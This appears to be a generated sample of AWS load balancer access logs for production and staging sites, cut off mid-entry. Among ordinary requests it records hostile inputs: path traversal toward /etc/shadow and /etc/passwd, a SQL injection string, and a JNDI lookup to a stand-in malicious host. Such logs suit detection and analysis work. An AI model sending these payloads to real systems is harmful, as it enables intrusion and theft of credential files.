arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6d5-bfb9a7616558426f9aa34dfd" "prod-api-alb.example.com" "-" 7 2024-11-01T01:05:09.890180Z "forward" "-" "-" "10.0.58.203:443" "200" "-" "-" +https 2024-11-01T01:05:10.840718Z prod-api-alb 45.155.205.35:57336 10.0.147.151:443 0.024492 0.076148 0.071549 403 403 438 13301 "GET /images/../../../../etc/shadow HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6d6-be4a8e45186844a6be0c27a1" "-" "-" 2 2024-11-01T01:05:10.840718Z "forward" "-" "-" "10.0.147.151:443" "403" "-" "-" +https 2024-11-01T01:05:12.683956Z prod-api-alb 22.119.174.228:23493 10.0.187.86:443 0.070990 0.414011 0.060130 404 404 429 12924 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c6d8-802b8b5ff46d42f7a36f92af" "prod-api-alb.example.com" "-" 5 2024-11-01T01:05:12.683956Z "forward" "-" "-" "10.0.187.86:443" "404" "-" "-" +https 2024-11-01T01:05:14.490914Z prod-web-alb 193.27.228.29:28816 10.0.195.188:443 0.047744 0.103100 0.042652 200 200 500 13762 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6da-1c79e20500784f048f8ee86c" "-" "-" 3 2024-11-01T01:05:14.490914Z "forward" "-" "-" "10.0.195.188:443" "200" "-" "-" +https 2024-11-01T01:05:14.669581Z prod-web-alb 43.17.166.22:63301 10.0.119.177:443 0.052793 0.449350 0.089410 404 404 616 4212 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6da-43648dc8ce1c409a9ed06ac9" "prod-web-alb.example.com" "-" 0 2024-11-01T01:05:14.669581Z "forward" "-" "-" "10.0.119.177:443" "404" "-" "-" +https 2024-11-01T01:05:15.248491Z prod-web-alb 152.239.192.24:47168 10.0.78.85:443 0.021721 0.395422 0.011492 302 302 794 4651 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6db-f307138f69544880a2604ba7" "prod-web-alb.example.com" "-" 1 2024-11-01T01:05:15.248491Z "forward" "-" "-" "10.0.78.85:443" "302" "-" "-" +https 2024-11-01T01:05:16.362296Z prod-api-alb 128.83.110.14:24625 10.0.34.31:443 0.045774 0.286974 0.081394 302 302 809 13619 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6dc-7bad351be245407e9ff1be26" "prod-api-alb.example.com" "-" 10 2024-11-01T01:05:16.362296Z "forward" "-" "-" "10.0.34.31:443" "302" "-" "-" +https 2024-11-01T01:05:17.318479Z staging-alb 193.27.228.71:45643 203.74.140.63:8080 0.133733 0.498250 0.069852 403 403 423 3207 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6dd-59ad3581526c4131aef993f9" "-" "-" 7 2024-11-01T01:05:17.318479Z "forward" "-" "-" "203.74.140.63:8080" "403" "-" "-" +https 2024-11-01T01:05:17.526527Z prod-web-alb 94.64.241.130:31773 10.0.136.21:443 0.029434 0.066853 0.004243 200 200 694 10203 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6dd-7d732f2f29d24047a967c076" "prod-web-alb.example.com" "-" 5 2024-11-01T01:05:17.526527Z "forward" "-" "-" "10.0.136.21:443" "200" "-" "-" +http 2024-11-01T01:05:19.216716Z staging-alb 132.96.110.131:33000 142.11.216.83:8080 0.106831 0.621439 0.137929 404 404 118 7160 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6df-4437882f9a544dda83a19df2" "staging-alb.example.com" "-" 0 2024-11-01T01:05:19.216716Z "forward" "-" "-" "142.11.216.83:8080" "404" "-" "-" +https 2024-11-01T01:05:20.600994Z staging-alb 250.44.149.218:25350 184.104.27.5:8080 0.124428 0.051698 0.040115 301 301 450 2657 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6e0-3e37ac9609ef45d8abede7b7" "staging-alb.example.com" "-" 3 2024-11-01T01:05:20.600994Z "forward" "-" "-" "184.104.27.5:8080" "301" "-" "-" +https 2024-11-01T01:05:20.743988Z staging-alb 81.184.123.131:63819 40.64.210.57:8080 0.110661 0.714386 0.104942 200 200 966 11990 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6e0-ad2c72a0dd114ca1b1630ed8" "staging-alb.example.com" "-" 0 2024-11-01T01:05:20.743988Z "forward" "-" "-" "40.64.210.57:8080" "200" "-" "-" +https 2024-11-01T01:05:22.102395Z prod-web-alb 135.18.55.115:39275 10.0.91.154:443 0.096585 0.162596 0.026047 200 200 30 9567 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6e2-824b2bc3cc234da1b71ecebe" "prod-web-alb.example.com" "-" 6 2024-11-01T01:05:22.102395Z "forward" "-" "-" "10.0.91.154:443" "200" "-" "-" +https 2024-11-01T01:05:23.864388Z staging-alb 69.187.167.228:45486 112.170.102.190:80 0.149698 0.651712 0.082185 200 200 95 3004 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6e3-0e2d03ccda0d4b9380f87806" "staging-alb.example.com" "-" 6 2024-11-01T01:05:23.864388Z "forward" "-" "-" "112.170.102.190:80" "200" "-" "-" +http 2024-11-01T01:05:25.842783Z staging-alb 211.194.85.90:33574 190.183.124.23:80 0.050282 0.570369 0.108660 301 301 286 8057 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6e5-2adf5eec72ca4e7981d46a43" "staging-alb.example.com" "-" 6 2024-11-01T01:05:25.842783Z "forward" "-" "-" "190.183.124.23:80" "301" "-" "-" +http 2024-11-01T01:05:26.797730Z staging-alb 185.181.160.192:50139 88.176.91.152:443 0.093585 0.737642 0.126147 404 404 398 12135 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6e6-47f74d2055134f49b0831b7e" "-" "-" 3 2024-11-01T01:05:26.797730Z "forward" "-" "-" "88.176.91.152:443" "404" "-" "-" +https 2024-11-01T01:05:27.236489Z prod-api-alb 120.110.146.207:59564 10.0.150.126:443 0.081887 0.125693 0.059390 404 404 804 3694 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6e7-5afc2ea9c5ac458c82302b7b" "prod-api-alb.example.com" "-" 7 2024-11-01T01:05:27.236489Z "forward" "-" "-" "10.0.150.126:443" "404" "-" "-" +https 2024-11-01T01:05:28.400164Z staging-alb 221.180.110.129:52897 175.175.54.38:443 0.111828 0.627920 0.041061 200 200 201 419 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6e8-6b1ac2695bf94a69afc611b2" "staging-alb.example.com" "-" 10 2024-11-01T01:05:28.400164Z "forward" "-" "-" "175.175.54.38:443" "200" "-" "-" +https 2024-11-01T01:05:29.533319Z prod-web-alb 7.133.62.132:34135 10.0.157.178:443 0.032477 0.316551 0.060586 404 404 794 10123 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6e9-8f063500be9746db942ab9ac" "prod-web-alb.example.com" "-" 7 2024-11-01T01:05:29.533319Z "forward" "-" "-" "10.0.157.178:443" "404" "-" "-" +https 2024-11-01T01:05:30.380468Z prod-api-alb 81.191.145.143:23675 10.0.134.113:443 0.093867 0.021822 0.096589 200 200 491 10938 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6ea-d3c5c5b628004783bc507985" "prod-api-alb.example.com" "-" 6 2024-11-01T01:05:30.380468Z "forward" "-" "-" "10.0.134.113:443" "200" "-" "-" +https 2024-11-01T01:05:30.689700Z prod-api-alb 74.34.194.51:37225 10.0.151.192:443 0.095742 0.418127 0.055136 301 301 657 10070 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c6ea-6717cd6d28ed412bb984e799" "prod-api-alb.example.com" "-" 3 2024-11-01T01:05:30.689700Z "forward" "-" "-" "10.0.151.192:443" "301" "-" "-" +https 2024-11-01T01:05:31.027825Z prod-web-alb 152.37.233.74:49650 10.0.78.20:443 0.011791 0.447730 0.073578 301 301 999 13926 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6eb-db7a09f0708c4a048e1187f8" "prod-web-alb.example.com" "-" 1 2024-11-01T01:05:31.027825Z "forward" "-" "-" "10.0.78.20:443" "301" "-" "-" +https 2024-11-01T01:05:31.802191Z staging-alb 185.4.220.58:18058 78.183.111.226:80 0.046069 0.117894 0.017725 200 200 879 3728 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6eb-005fa0700d4845af976228d9" "staging-alb.example.com" "-" 1 2024-11-01T01:05:31.802191Z "forward" "-" "-" "78.183.111.226:80" "200" "-" "-" +https 2024-11-01T01:05:32.058293Z prod-web-alb 51.219.14.247:15166 10.0.101.179:443 0.085049 0.178156 0.099689 200 200 475 6078 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6ec-84b3e4215f7048f38f2c08ff" "prod-web-alb.example.com" "-" 4 2024-11-01T01:05:32.058293Z "forward" "-" "-" "10.0.101.179:443" "200" "-" "-" +https 2024-11-01T01:05:32.456900Z prod-web-alb 221.67.202.129:43277 10.0.130.11:443 0.093885 0.012721 0.053426 301 301 994 227 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6ec-2525bc9c0495427dba371607" "prod-web-alb.example.com" "-" 6 2024-11-01T01:05:32.456900Z "forward" "-" "-" "10.0.130.11:443" "301" "-" "-" +https 2024-11-01T01:05:34.052487Z prod-api-alb 46.150.122.243:47440 10.0.247.33:443 0.029590 0.169423 0.049773 301 301 515 1449 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6ee-b7aa264b8ba54808ae884100" "prod-api-alb.example.com" "-" 5 2024-11-01T01:05:34.052487Z "forward" "-" "-" "10.0.247.33:443" "301" "-" "-" +http 2024-11-01T01:05:34.713987Z staging-alb 45.155.205.170:14727 181.191.191.211:8080 0.068229 0.357219 0.063643 404 404 268 9907 "GET /debug/pprof HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6ee-58206f22e2b74d94a0a908df" "-" "-" 9 2024-11-01T01:05:34.713987Z "forward" "-" "-" "181.191.191.211:8080" "404" "-" "-" +https 2024-11-01T01:05:35.798906Z prod-web-alb 146.189.64.244:55663 10.0.211.7:443 0.081743 0.263017 0.043454 200 200 244 10491 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6ef-fa466a287e3c44a798e790ba" "prod-web-alb.example.com" "-" 8 2024-11-01T01:05:35.798906Z "forward" "-" "-" "10.0.211.7:443" "200" "-" "-" +https 2024-11-01T01:05:37.351012Z prod-api-alb 127.103.38.18:57715 10.0.32.106:443 0.023101 0.326671 0.034384 404 404 540 7277 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c6f1-63bb2343813449fa874ac5b0" "prod-api-alb.example.com" "-" 3 2024-11-01T01:05:37.351012Z "forward" "-" "-" "10.0.32.106:443" "404" "-" "-" +https 2024-11-01T01:05:38.549413Z prod-web-alb 61.116.6.110:32070 10.0.153.54:443 0.025788 0.238883 0.079597 200 200 603 14462 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6f2-7eb6de9d01504111a9a504fe" "prod-web-alb.example.com" "-" 3 2024-11-01T01:05:38.549413Z "forward" "-" "-" "10.0.153.54:443" "200" "-" "-" +https 2024-11-01T01:05:39.749214Z staging-alb 84.68.153.177:64306 229.173.216.213:80 0.113404 0.550849 0.117176 200 200 536 10255 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6f3-637c2e985b3c4b8296c9cb75" "staging-alb.example.com" "-" 3 2024-11-01T01:05:39.749214Z "forward" "-" "-" "229.173.216.213:80" "200" "-" "-" +https 2024-11-01T01:05:40.181016Z prod-web-alb 132.125.90.248:41298 10.0.126.215:443 0.091030 0.437645 0.040948 302 302 78 5256 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6f4-c2c4fb9141ef48708302639d" "prod-web-alb.example.com" "-" 4 2024-11-01T01:05:40.181016Z "forward" "-" "-" "10.0.126.215:443" "302" "-" "-" +https 2024-11-01T01:05:40.866779Z prod-web-alb 5.178.230.10:23967 10.0.194.87:443 0.016669 0.330408 0.063244 404 404 862 10413 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6f4-33c78f3899f744ebb9cb9746" "prod-web-alb.example.com" "-" 9 2024-11-01T01:05:40.866779Z "forward" "-" "-" "10.0.194.87:443" "404" "-" "-" +https 2024-11-01T01:05:41.393046Z staging-alb 29.179.152.33:25892 63.197.199.209:8080 0.044065 0.473742 0.016607 200 200 703 12756 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6f5-c62e42b106a444f6aef3c9a2" "-" "-" 4 2024-11-01T01:05:41.393046Z "forward" "-" "-" "63.197.199.209:8080" "200" "-" "-" +https 2024-11-01T01:05:42.290080Z prod-api-alb 16.81.89.164:48393 10.0.27.94:443 0.041766 0.343893 0.047789 404 404 730 3602 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6f6-0203cdb33caf4824bf95f2fb" "prod-api-alb.example.com" "-" 3 2024-11-01T01:05:42.290080Z "forward" "-" "-" "10.0.27.94:443" "404" "-" "-" +https 2024-11-01T01:05:42.638551Z prod-api-alb 206.158.181.174:11470 10.0.17.222:443 0.073370 0.312478 0.092873 301 301 767 8567 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6f6-b43cdcb4355c487cad9154b0" "prod-api-alb.example.com" "-" 2 2024-11-01T01:05:42.638551Z "forward" "-" "-" "10.0.17.222:443" "301" "-" "-" +https 2024-11-01T01:05:44.369735Z prod-web-alb 98.158.155.237:14934 10.0.239.35:443 0.013332 0.108700 0.098151 302 302 76 14301 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6f8-eb19d960eea44cebbf4ccc7f" "prod-web-alb.example.com" "-" 8 2024-11-01T01:05:44.369735Z "forward" "-" "-" "10.0.239.35:443" "302" "-" "-" +https 2024-11-01T01:05:44.538167Z prod-web-alb 61.187.74.51:48363 10.0.58.215:443 0.074765 0.081116 0.003840 404 404 809 13562 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6f8-ef636fdf44874f4ca8d0e0f0" "prod-web-alb.example.com" "-" 0 2024-11-01T01:05:44.538167Z "forward" "-" "-" "10.0.58.215:443" "404" "-" "-" +https 2024-11-01T01:05:45.578717Z prod-web-alb 140.156.34.90:34505 10.0.202.218:443 0.040263 0.047326 0.067507 200 200 502 1296 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6f9-19279372b86a43d2a250c8bb" "prod-web-alb.example.com" "-" 3 2024-11-01T01:05:45.578717Z "forward" "-" "-" "10.0.202.218:443" "200" "-" "-" +http 2024-11-01T01:05:46.860021Z staging-alb 180.158.11.214:27888 53.105.123.52:8080 0.148018 0.058384 0.074065 200 200 606 3467 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6fa-4b222384985d4e6f87e9568b" "staging-alb.example.com" "-" 6 2024-11-01T01:05:46.860021Z "forward" "-" "-" "53.105.123.52:8080" "200" "-" "-" +https 2024-11-01T01:05:47.386984Z prod-web-alb 132.222.159.78:61719 10.0.106.140:443 0.009678 0.463154 0.031173 302 302 497 3739 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6fb-00c08831ab934b8884a1566e" "prod-web-alb.example.com" "-" 7 2024-11-01T01:05:47.386984Z "forward" "-" "-" "10.0.106.140:443" "302" "-" "-" +https 2024-11-01T01:05:49.310151Z prod-api-alb 64.91.114.179:34028 10.0.12.27:443 0.083444 0.222727 0.078532 200 200 491 7424 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6fd-c2ad482089c74e23a37bd987" "prod-api-alb.example.com" "-" 8 2024-11-01T01:05:49.310151Z "forward" "-" "-" "10.0.12.27:443" "200" "-" "-" +http 2024-11-01T01:05:51.075100Z staging-alb 173.112.209.210:39917 115.97.9.86:8080 0.073925 0.205349 0.141930 302 302 817 6126 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6ff-5eff973134e94fe2ad922561" "staging-alb.example.com" "-" 9 2024-11-01T01:05:51.075100Z "forward" "-" "-" "115.97.9.86:8080" "302" "-" "-" +https 2024-11-01T01:05:52.285866Z prod-api-alb 159.151.228.160:22400 10.0.55.241:443 0.041399 0.451510 0.087267 301 301 869 10901 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c700-9098587e9ff74f3f9be449bf" "prod-api-alb.example.com" "-" 9 2024-11-01T01:05:52.285866Z "forward" "-" "-" "10.0.55.241:443" "301" "-" "-" +https 2024-11-01T01:05:52.999703Z prod-api-alb 164.222.186.129:24486 10.0.19.253:443 0.066299 0.452287 0.075606 200 200 540 3713 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c700-6de1930a25204431af48829a" "prod-api-alb.example.com" "-" 3 2024-11-01T01:05:52.999703Z "forward" "-" "-" "10.0.19.253:443" "200" "-" "-" +https 2024-11-01T01:05:53.101894Z staging-alb 89.58.82.199:39911 228.201.101.117:8080 0.114315 0.483193 0.133903 200 200 499 12038 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c701-04b3e5830a4e4bb68f6fa874" "staging-alb.example.com" "-" 10 2024-11-01T01:05:53.101894Z "forward" "-" "-" "228.201.101.117:8080" "200" "-" "-" +https 2024-11-01T01:05:55.048243Z prod-api-alb 207.169.233.114:54416 10.0.125.107:443 0.078775 0.031251 0.083471 302 302 970 5751 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c703-5d25741f57b645ed9cda5a6d" "prod-api-alb.example.com" "-" 2 2024-11-01T01:05:55.048243Z "forward" "-" "-" "10.0.125.107:443" "302" "-" "-" +https 2024-11-01T01:05:56.291102Z prod-api-alb 227.196.207.219:45145 10.0.240.33:443 0.024926 0.199552 0.027932 200 200 904 11116 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 